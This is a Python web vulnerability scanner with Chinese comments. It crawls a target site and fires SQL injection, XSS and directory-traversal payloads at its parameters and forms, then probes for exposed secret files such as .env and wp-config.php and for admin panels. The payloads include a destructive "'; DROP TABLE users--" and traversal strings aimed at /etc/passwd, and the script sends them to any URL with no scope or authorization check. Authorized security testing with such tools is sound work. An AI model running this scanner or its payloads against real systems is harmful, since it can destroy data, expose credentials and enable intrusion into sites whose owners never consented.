import requests
import argparse
from urllib.parse import urljoin, urlparse, parse_qs, urlencode
from bs4 import BeautifulSoup
import re
import time
import threading
from queue import Queue
import random
import os

# 用户代理列表，用于随机选择
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
]

# SQL注入测试载荷
SQL_INJECTION_PAYLOADS = [
    "' OR '1'='1",
    "' OR 1=1--",
    "' UNION SELECT NULL, user(), database()--",
    "'; DROP TABLE users--",
    "' OR SLEEP(5)--",
    "1' ORDER BY 1--",
    "1' ORDER BY 9999--"
]

# XSS测试载荷
XSS_PAYLOADS = [
    "<script>alert('XSS')</script>",
    "<img src=x onerror=alert('XSS')>",
    "<svg/onload=alert('XSS')>",
    "\"><script>alert('XSS')</script>",
    "javascript:alert('XSS')"
]

# 目录遍历测试载荷
DIRECTORY_TRAVERSAL_PAYLOADS = [
    "../../../../etc/passwd",
    "..%2F..%2F..%2F..%2Fetc%2Fpasswd",
    "../../../../Windows/System32/drivers/etc/hosts",
    "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
]

# 敏感文件列表
SENSITIVE_FILES = [
    "/.env", "/config.php", "/.git/config", "/.htaccess", "/robots.txt",
    "/phpinfo.php", "/backup.zip", "/wp-config.php", "/.DS_Store",
    "/web.config", "/server-status", "/.svn/entries"
]

# 常见管理后台路径
ADMIN_PATHS = [
    "/admin", "/login", "/wp-admin", "/admin/login", "/manager", 
    "/administrator", "/backend", "/cms", "/control", "/dashboard",
    "/admincp", "/user/login", "/console"
]

# 错误模式正则表达式 - 在全局定义修复问题
ERROR_PATTERNS = [
    r"SQL syntax.*MySQL", r"Warning.*mysql", 
    r"Unclosed quotation mark", r"ODBC Driver", 
    r"ORA-[0-9]{5}", r"PostgreSQL.*ERROR",
    r"SQLite3\.Error", r"Microsoft OLE DB Provider",
    r"Unterminated string constant", r"Syntax error"
]

class VulnerabilityScanner:
    def __init__(self, target_url, threads=5, timeout=10, verbose=False, max_depth=3):
        self.target_url = target_url
        self.threads = threads
        self.timeout = timeout
        self.verbose = verbose
        self.max_depth = max_depth
        self.session = requests.Session()
        self.session.headers.update({"User-Agent": random.choice(USER_AGENTS)})
        self.found_vulnerabilities = []
        self.visited_urls = set()
        self.links_queue = Queue()
        self.links_queue.put((target_url, 0))  # (url, depth)
        self.lock = threading.Lock()
        self.domain = urlparse(target_url).netloc
        
    def log(self, message, level="INFO"):
        if self.verbose:
            print(f"[{level}] {message}")
    
    def is_same_domain(self, url):
        """检查URL是否在同一个域中"""
        parsed = urlparse(url)
        return parsed.netloc == self.domain or not parsed.netloc
    
    def get_all_links(self, url, depth):
        """从页面中提取所有链接"""
        if depth >= self.max_depth:
            return
            
        try:
            response = self.session.get(url, timeout=self.timeout)
            soup = BeautifulSoup(response.content, "html.parser")
            
            for link in soup.find_all("a", href=True):
                href = link.get("href")
                if href and not href.startswith(("javascript:", "mailto:", "#", "tel:")):
                    full_url = urljoin(url, href)
                    if self.is_same_domain(full_url) and full_url not in self.visited_urls:
                        self.visited_urls.add(full_url)
                        self.links_queue.put((full_url, depth + 1))
                        self.log(f"Found link: {full_url}")
            
            for form in soup.find_all("form"):
                action = form.get("action")
                if action:
                    full_url = urljoin(url, action)
                    if self.is_same_domain(full_url) and full_url not in self.visited_urls:
                        self.visited_urls.add(full_url)
                        self.links_queue.put((full_url, depth + 1))
                        self.log(f"Found form: {full_url}")
        
        except Exception as e:
            self.log(f"Error processing {url}: {str(e)}", "ERROR")
    
    def test_sql_injection(self, url):
        """测试SQL注入漏洞"""
        try:
            # 测试GET参数
            if "?" in url:
                parsed_url = urlparse(url)
                base_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}"
                query_params = parse_qs(parsed_url.query)
                
                for param in list(query_params.keys()):
                    for payload in SQL_INJECTION_PAYLOADS:
                        # 创建测试参数
                        test_params = query_params.copy()
                        test_params[param] = [payload]
                        
                        # 构建测试URL
                        test_url = base_url + "?" + urlencode(test_params, doseq=True)
                        
                        try:
                            response = self.session.get(test_url, timeout=self.timeout)
                            
                            # 检查常见错误信息
                            for pattern in ERROR_PATTERNS:
                                if re.search(pattern, response.text, re.IGNORECASE):
                                    with self.lock:
                                        self.found_vulnerabilities.append({
                                            "url": test_url,
                                            "vulnerability": "SQL Injection",
                                            "payload": payload,
                                            "parameter": param
                                        })
                                    self.log(f"Possible SQL Injection at {test_url} (param: {param})", "WARNING")
                                    break
                            
                            # 检查时间延迟注入
                            if "SLEEP" in payload:
                                start_time = time.time()
                                # 创建一个更长的延迟payload
                                delay_payload = payload.replace("SLEEP(5)", "SLEEP(10)")
                                test_params[param] = [delay_payload]
                                delay_url = base_url + "?" + urlencode(test_params, doseq=True)
                                self.session.get(delay_url, timeout=15)
                                if time.time() - start_time > 9:
                                    with self.lock:
                                        self.found_vulnerabilities.append({
                                            "url": test_url,
                                            "vulnerability": "Time-Based SQL Injection",
                                            "payload": payload,
                                            "parameter": param
                                        })
                                    self.log(f"Possible Time-Based SQL Injection at {test_url} (param: {param})", "WARNING")
                                    break
                                    
                        except requests.exceptions.Timeout:
                            # 如果请求超时，可能是时间盲注
                            with self.lock:
                                self.found_vulnerabilities.append({
                                    "url": test_url,
                                    "vulnerability": "Possible Time-Based SQL Injection (Timeout)",
                                    "payload": payload,
                                    "parameter": param
                                })
                            self.log(f"Timeout during SQL Injection test at {test_url} (param: {param})", "WARNING")
                        except Exception as e:
                            self.log(f"Error testing SQL Injection on {test_url}: {str(e)}", "ERROR")
            
            # 测试POST表单
            if url in self.visited_urls:
                try:
                    response = self.session.get(url, timeout=self.timeout)
                    soup = BeautifulSoup(response.content, "html.parser")
                    
                    for form in soup.find_all("form"):
                        form_url = urljoin(url, form.get("action") or url)
                        form_method = form.get("method", "get").lower()
                        
                        # 获取表单字段
                        inputs = form.find_all(["input", "textarea"])
                        data = {}
                        for tag in inputs:
                            name = tag.get("name")
                            value = tag.get("value", "")
                            if name and name not in ["csrf_token", "csrfmiddlewaretoken"]:
                                data[name] = value
                        
                        # 对每个字段注入测试
                        for field in data:
                            for payload in SQL_INJECTION_PAYLOADS:
                                test_data = data.copy()
                                test_data[field] = payload
                                
                                try:
                                    if form_method == "post":
                                        response = self.session.post(form_url, data=test_data, timeout=self.timeout)
                                    else:
                                        response = self.session.get(form_url, params=test_data, timeout=self.timeout)
                                    
                                    # 检查错误信息
                                    for pattern in ERROR_PATTERNS:
                                        if re.search(pattern, response.text, re.IGNORECASE):
                                            with self.lock:
                                                self.found_vulnerabilities.append({
                                                    "url": form_url,
                                                    "vulnerability": "SQL Injection (Form)",
                                                    "payload": payload,
                                                    "field": field
                                                })
                                            self.log(f"Possible SQL Injection in form at {form_url}, field: {field}", "WARNING")
                                            break
                                    
                                    # 检查时间延迟注入
                                    if "SLEEP" in payload:
                                        start_time = time.time()
                                        delay_payload = payload.replace("SLEEP(5)", "SLEEP(10)")
                                        test_data[field] = delay_payload
                                        if form_method == "post":
                                            self.session.post(form_url, data=test_data, timeout=15)
                                        else:
                                            self.session.get(form_url, params=test_data, timeout=15)
                                        if time.time() - start_time > 9:
                                            with self.lock:
                                                self.found_vulnerabilities.append({
                                                    "url": form_url,
                                                    "vulnerability": "Time-Based SQL Injection (Form)",
                                                    "payload": payload,
                                                    "field": field
                                                })
                                            self.log(f"Possible Time-Based SQL Injection in form at {form_url}, field: {field}", "WARNING")
                                            break
                                            
                                except requests.exceptions.Timeout:
                                    with self.lock:
                                        self.found_vulnerabilities.append({
                                            "url": form_url,
                                            "vulnerability": "Possible Time-Based SQL Injection (Form Timeout)",
                                            "payload": payload,
                                            "field": field
                                        })
                                    self.log(f"Timeout during SQL Injection test on form at {form_url} (field: {field})", "WARNING")
                                except Exception as e:
                                    self.log(f"Error testing SQL Injection on form {form_url}: {str(e)}", "ERROR")
                                    
                except Exception as e:
                    self.log(f"Error processing form on {url}: {str(e)}", "ERROR")
        
        except Exception as e:
            self.log(f"Error testing SQL Injection on {url}: {str(e)}", "ERROR")
    
    def test_xss(self, url):
        """测试XSS跨站脚本漏洞"""
        try:
            # 测试GET参数
            if "?" in url:
                parsed_url = urlparse(url)
                base_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}"
                query_params = parse_qs(parsed_url.query)
                
                for param in list(query_params.keys()):
                    for payload in XSS_PAYLOADS:
                        # 创建测试参数
                        test_params = query_params.copy()
                        test_params[param] = [payload]
                        
                        # 构建测试URL
                        test_url = base_url + "?" + urlencode(test_params, doseq=True)
                        
                        try:
                            response = self.session.get(test_url, timeout=self.timeout)
                            
                            # 检查payload是否出现在响应中
                            if payload in response.text:
                                with self.lock:
                                    self.found_vulnerabilities.append({
                                        "url": test_url,
                                        "vulnerability": "Reflected XSS",
                                        "payload": payload,
                                        "parameter": param
                                    })
                                self.log(f"Possible Reflected XSS at {test_url} (param: {param})", "WARNING")
                                break
                                
                        except Exception as e:
                            self.log(f"Error testing XSS on {test_url}: {str(e)}", "ERROR")
            
            # 测试POST表单
            if url in self.visited_urls:
                try:
                    response = self.session.get(url, timeout=self.timeout)
                    soup = BeautifulSoup(response.content, "html.parser")
                    
                    for form in soup.find_all("form"):
                        form_url = urljoin(url, form.get("action") or url)
                        form_method = form.get("method", "get").lower()
                        
                        # 获取表单字段
                        inputs = form.find_all(["input", "textarea"])
                        data = {}
                        for tag in inputs:
                            name = tag.get("name")
                            value = tag.get("value", "")
                            if name and name not in ["csrf_token", "csrfmiddlewaretoken"]:
                                data[name] = value
                        
                        # 对每个字段注入测试
                        for field in data:
                            for payload in XSS_PAYLOADS:
                                test_data = data.copy()
                                test_data[field] = payload
                                
                                try:
                                    if form_method == "post":
                                        response = self.session.post(form_url, data=test_data, timeout=self.timeout)
                                    else:
                                        response = self.session.get(form_url, params=test_data, timeout=self.timeout)
                                    
                                    # 检查payload是否出现在响应中
                                    if payload in response.text:
                                        with self.lock:
                                            self.found_vulnerabilities.append({
                                                "url": form_url,
                                                "vulnerability": "Reflected XSS (Form)",
                                                "payload": payload,
                                                "field": field
                                            })
                                        self.log(f"Possible Reflected XSS in form at {form_url}, field: {field}", "WARNING")
                                        break
                                        
                                except Exception as e:
                                    self.log(f"Error testing XSS on form {form_url}: {str(e)}", "ERROR")
                                    
                except Exception as e:
                    self.log(f"Error processing form on {url}: {str(e)}", "ERROR")
        
        except Exception as e:
            self.log(f"Error testing XSS on {url}: {str(e)}", "ERROR")
    
    def test_directory_traversal(self, url):
        """测试目录遍历漏洞"""
        try:
            # 检查URL中是否有文件路径参数
            if "?" in url:
                parsed_url = urlparse(url)
                base_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}"
                query_params = parse_qs(parsed_url.query)
                
                for param in list(query_params.keys()):
                    for payload in DIRECTORY_TRAVERSAL_PAYLOADS:
                        # 创建测试参数
                        test_params = query_params.copy()
                        test_params[param] = [payload]
                        
                        # 构建测试URL
                        test_url = base_url + "?" + urlencode(test_params, doseq=True)
                        
                        try:
                            response = self.session.get(test_url, timeout=self.timeout)
                            
                            # 检查常见敏感文件内容
                            sensitive_content = [
                                "root:", "Administrator", "Microsoft Corp", 
                                "Microsoft TCP", "SYSTEMROOT", "PATH=",
                                "DocumentRoot", "ServerRoot"
                            ]
                            
                            for content in sensitive_content:
                                if content in response.text:
                                    with self.lock:
                                        self.found_vulnerabilities.append({
                                            "url": test_url,
                                            "vulnerability": "Directory Traversal",
                                            "payload": payload,
                                            "parameter": param
                                        })
                                    self.log(f"Possible Directory Traversal at {test_url} (param: {param})", "WARNING")
                                    break
                                    
                        except Exception as e:
                            self.log(f"Error testing Directory Traversal on {test_url}: {str(e)}", "ERROR")
        
        except Exception as e:
            self.log(f"Error testing Directory Traversal on {url}: {str(e)}", "ERROR")
    
    def check_sensitive_files(self):
        """检查常见敏感文件"""
        for file_path in SENSITIVE_FILES:
            test_url = urljoin(self.target_url, file_path)
            try:
                response = self.session.get(test_url, timeout=self.timeout)
                if response.status_code == 200:
                    # 检查文件大小，避免误报大文件
                    if len(response.content) < 1000000:  # 小于1MB
                        with self.lock:
                            self.found_vulnerabilities.append({
                                "url": test_url,
                                "vulnerability": "Sensitive File Exposure",
                                "file": file_path
                            })
                        self.log(f"Sensitive file found: {test_url}", "WARNING")
            except:
                pass
    
    def check_admin_panels(self):
        """检查常见管理后台"""
        for path in ADMIN_PATHS:
            test_url = urljoin(self.target_url, path)
            try:
                response = self.session.get(test_url, timeout=self.timeout)
                if response.status_code == 200:
                    # 检查页面内容是否包含常见管理后台关键词
                    admin_keywords = ["login", "admin", "password", "username", "dashboard"]
                    content = response.text.lower()
                    if any(keyword in content for keyword in admin_keywords):
                        with self.lock:
                            self.found_vulnerabilities.append({
                                "url": test_url,
                                "vulnerability": "Admin Panel Found",
                                "path": path
                            })
                        self.log(f"Admin panel found: {test_url}", "WARNING")
            except:
                pass
    
    def scan_worker(self):
        """扫描工作线程"""
        while not self.links_queue.empty():
            url, depth = self.links_queue.get()
            
            try:
                self.log(f"Scanning: {url} (Depth: {depth})")
                
                # 获取页面所有链接
                self.get_all_links(url, depth)
                
                # 测试各种漏洞
                self.test_sql_injection(url)
                self.test_xss(url)
                self.test_directory_traversal(url)
                
            except Exception as e:
                self.log(f"Error scanning {url}: {str(e)}", "ERROR")
            
            finally:
                self.links_queue.task_done()
    
    def start_scan(self):
        """开始扫描"""
        start_time = time.time()
        
        # 检查敏感文件和后台
        self.check_sensitive_files()
        self.check_admin_panels()
        
        # 创建并启动线程
        threads = []
        for _ in range(self.threads):
            t = threading.Thread(target=self.scan_worker)
            t.daemon = True
            t.start()
            threads.append(t)
        
        # 等待队列完成
        self.links_queue.join()
        
        # 等待所有线程完成
        for t in threads:
            t.join(timeout=1)
        
        scan_time = time.time() - start_time
        self.log(f"Scan completed in {scan_time:.2f} seconds", "INFO")
        
        return self.found_vulnerabilities

def print_report(vulnerabilities):
    """打印扫描报告"""
    if not vulnerabilities:
        print("\n[+] No vulnerabilities found!")
        return
    
    print("\n[!] Found Vulnerabilities:")
    print("=" * 80)
    
    for i, vuln in enumerate(vulnerabilities, 1):
        print(f"{i}. Vulnerability: {vuln['vulnerability']}")
        print(f"   URL: {vuln['url']}")
        
        if 'payload' in vuln:
            print(f"   Payload: {vuln['payload']}")
        if 'field' in vuln:
            print(f"   Field: {vuln['field']}")
        if 'parameter' in vuln:
            print(f"   Parameter: {vuln['parameter']}")
        if 'file' in vuln:
            print(f"   File: {vuln['file']}")
        if 'path' in vuln:
            print(f"   Path: {vuln['path']}")
        
        print("-" * 80)

def save_report(vulnerabilities, filename="vulnerability_report.txt"):
    """保存扫描报告到文件"""
    with open(filename, "w") as f:
        f.write("Vulnerability Scan Report\n")
        f.write("=" * 50 + "\n\n")
        
        if not vulnerabilities:
            f.write("No vulnerabilities found!\n")
            return
        
        f.write(f"Found {len(vulnerabilities)} vulnerabilities:\n\n")
        
        for i, vuln in enumerate(vulnerabilities, 1):
            f.write(f"{i}. Vulnerability: {vuln['vulnerability']}\n")
            f.write(f"   URL: {vuln['url']}\n")
            
            if 'payload' in vuln:
                f.write(f"   Payload: {vuln['payload']}\n")
            if 'field' in vuln:
                f.write(f"   Field: {vuln['field']}\n")
            if 'parameter' in vuln:
                f.write(f"   Parameter: {vuln['parameter']}\n")
            if 'file' in vuln:
                f.write(f"   File: {vuln['file']}\n")
            if 'path' in vuln:
                f.write(f"   Path: {vuln['path']}\n")
            
            f.write("\n")
        
        f.write("\nScan completed successfully.\n")

def main():
    """主函数"""
    # 解析命令行参数
    parser = argparse.ArgumentParser(description="Python Vulnerability Scanner")
    parser.add_argument("url", help="Target URL to scan")
    parser.add_argument("-t", "--threads", type=int, default=5, 
                        help="Number of threads (default: 5)")
    parser.add_argument("-o", "--output", help="Output file for report")
    parser.add_argument("-v", "--verbose", action="store_true", 
                        help="Verbose output")
    parser.add_argument("-d", "--depth", type=int, default=3,
                        help="Maximum crawl depth (default: 3)")
    
    args = parser.parse_args()
    
    # 确保URL以http://或https://开头
    if not args.url.startswith(("http://", "https://")):
        args.url = "http://" + args.url
    
    print(f"[*] Starting vulnerability scan for: {args.url}")
    print(f"[*] Using {args.threads} threads")
    print(f"[*] Maximum crawl depth: {args.depth}")
    
    # 创建扫描器并开始扫描
    scanner = VulnerabilityScanner(
        target_url=args.url,
        threads=args.threads,
        verbose=args.verbose,
        max_depth=args.depth
    )
    
    vulnerabilities = scanner.start_scan()
    
    # 打印报告
    print_report(vulnerabilities)
    
    # 保存报告
    if args.output:
        save_report(vulnerabilities, args.output)
        print(f"[+] Report saved to {args.output}")

if __name__ == "__main__":
    main()